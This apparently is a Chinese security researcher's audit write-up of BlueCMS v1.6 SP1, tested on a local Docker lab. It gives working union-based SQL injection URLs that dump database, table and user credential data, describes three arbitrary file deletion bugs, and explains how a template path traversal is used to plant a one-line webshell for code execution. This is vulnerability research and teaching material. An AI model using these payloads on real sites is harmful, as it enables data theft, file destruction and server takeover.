0x01:环境搭建
网页源码: 百度可下载。
我已经搭建好了Docker环境,可以一键部署。
sudo docker run -d -p 8088:80 --name=bluecmsv16_sp1 gakkiyyds/bluecms_v1.6_sp1
0x02:漏洞
ad_js.php sql注入1
使用Seay源代码审计系统
审计系统说了 ad_js.php 中变量无单引号保护跟进一下。
如图所示:sql中变量为 $ad_id, 且在12行处用了一个三目运算来确定其值,同时用了 trim()函数进行了过滤,来看一下trim()函数的详细解析:
会自动去除一些字符。点就在这里尝试注入一下:
/ad_js.php?ad_id=1'
输入1’ 会报错且单引号被转义了,那证明字符型注入不行了,这类转义一般由:addslashes() 函数 返回。
/ad_js.php?ad_id=1#
输入1# 页面空白没报错(这种情况别忘了查看网页源代码),证明可注入。判单字段个数。
判断是否为8的时候报错了。证明只有七个字段。
/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7#
页面源代码输出了7
/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()#
得到数据库名:bluecms
/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name)from information_schema.tables where table_schema=database()#
所有表名
/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572#
0x626c75655f75736572 = 0xblue_user
注意这里:指定表名时单引号和双引号被转义了那么利用十六进制的方式可以绕过转义限制。
/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(user_name,0x2d,pwd)from blue_user#
用户名和密码
密码是加密过后的,有一点儿像md5加密,可以尝试在线解密;
https://www.cmd5.com/
这弱密码能解密成功。
总结:该sql注入是最基础的入门级联合查询难度低(人人皆爱)。
漏洞评级:
高危:需要登录的重要业务敏感数据信息泄露漏洞。
任意文件删除漏洞1
位于user.php 中,只需注册一个普通账户即可利用。
ID为12处的,跟进一下,11处的$id使用intval()函数取整数故不能利用。
如图:788行, unlink() 中参数: $_POST[‘face_pic3’] 直接为POST提交数据没有过滤之类的参数。同时在第764行可以看到触发方式为:edit_user_info 很明显就是编辑用户信息。因此可以直接在user.php后加上?act=edit_user_info即可触发,然后POST提交face_pic3即可。
测试:为了防止误删除,可以先在服务器中创建一个没用的文件来验证。
在网站根目录下创建一个: del.txt
现在构造参数即可:
访问过后会显示更新个人资料成功,现在到网站根目录下去查看是否还存在 del.txt 呢?
如图所示:很明显del.txt 文件不存在了。
Notice: 这里测试出了能删除web目录下的文件。尝试删除非web目录下的文件发现失败。
漏洞评级:
**高危**:被限制在web目录,能删除任意web文件。
任意文件删除漏洞2
另一个任意文件删除漏洞,位于 admin/info.php 中。因此需要登入后台才能利用。
如图:第532行unlink()删除函数。可以看到设置了路径: BLUE_ROOT.
i
d
,
而
B
L
U
E
R
O
O
T
就是网站的根目录即
:
/
v
a
r
/
w
w
w
/
h
t
m
l
;而
id, 而 BLUE_ROOT 就是网站的根目录即:/var/www/html;而
id,而BLUEROOT就是网站的根目录即:/var/www/html;而id 为528行中的 $_REQUEST[‘id’] 传入。没有进行过滤可以利用。然后530行会判断文件是否存在,存在则删除。最终触发的地方为 526行 elseif $act==‘del_pic’;
验证:
在网站根目录新建一个文件 dell.txt
然后传入参数。
$_REQUEST可以GET也可以POST,二选一;
注意这里执行后页面不会显示,但是文件会被删除。
如图所示,删除了。
尝试能否目录穿越删除。
在admin目录下新建 del.txt 然后传入参数:
执行后发现一样可以删除。
那么非web目录呢?测试发现无法删除除了web目录下的内容,原因很简单:权限不够,web目录中的文件都是www-data用户的。
漏洞评级:
**高危**:被限制在web目录,能删除任意web文件。
任意文件删除漏洞3
又一个任意文件删除漏洞;位于:admin/link.php 中;因此需要登录后台后才能触发。
跟进:
如图:第64行删除函数中可以看到路径为BLUE_ROOT 即web根目录:/var/www/html/;而且对POST传入的数据: link_logo2 没有做过滤;它的触发条件为 第50行中的 $act==‘do_edit’ ,很明显就是编辑。
验证:
在根目录下新建一个文件:del_me.txt
然后传入参数:
执行后显示的页面是编辑连接成功,原来是添加友情连接的地方。
现在查看文件是否被删除了。
确实没有了。和前两个一样。
漏洞评级:
**高危**:被限制在web目录,能删除任意web文件。
nav.php sql注入2
位于 admin/nav.php 中,因此需要登入后台才能利用。
如图:第65行可控变量为 $_GET[‘navid’] 没有做任何过滤。且触发点: $act==‘edit’
/admin/nav.php?act=edit&navid=2 union select 1,database(),user(),4,version(),6#
很基础的union 注入。回显位置都位于输入框中。
漏洞评级:
**高危:**需要登录的重要业务铭感数据信息泄露漏洞。
后台模板getshell
跟进一下:
大概看了一下源码它的功能是在后台编辑模板。其中变量 $tpl_name 可以目录穿越。比如: …/…/index.php 我们就可以编辑首页从而插入shell。
验证:
首先进入后台——>系统设置——>模板管理——>随便编辑一个模板。(记得抓包:可以F12打开Network)
点完编辑之后:
找到了单独的界面: http://192.168.52.143:8088/admin/tpl_manage.php?act=edit&tpl_name=reg.htm
新建页面打开:
将 tpl_name更改为: …/…/index.php 或者其它目录能访问的php文件。
可以看到现在编辑界面显示的是index.php的源码。插入一句话木马。
接下来直接RCE或者蚁剑连接即可。
拿到shell了。
漏洞评级:
严重
admin/user.php sql注入3
跟进一下
很明显GET参数没有任何过滤。直接利用。
测出来有17个字段。真TM多。
/admin/user.php?act=edit&user_id=-2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
有如图所示几个回显点。
/admin/user.php?act=edit&user_id=-2 union select 1,2,3,database(),5,6,7,8,9,10,11,user(),version(),group_concat(table_name),15,16,17 from information_schema.tables where table_schema=database()#
剩下的步骤就省略了。因为联合注入很简单。当然也可以用sqlmap跑,只需要简单抓个包。
可见这个CMS漏洞真多。
漏洞评级:
高危:需要登录的重要业务敏感数据信息泄露漏洞。
0x03:总结:
- 目前我只找到了这些漏洞,其它漏洞待挖掘。
- 这个N年前的CMS适合新手审计。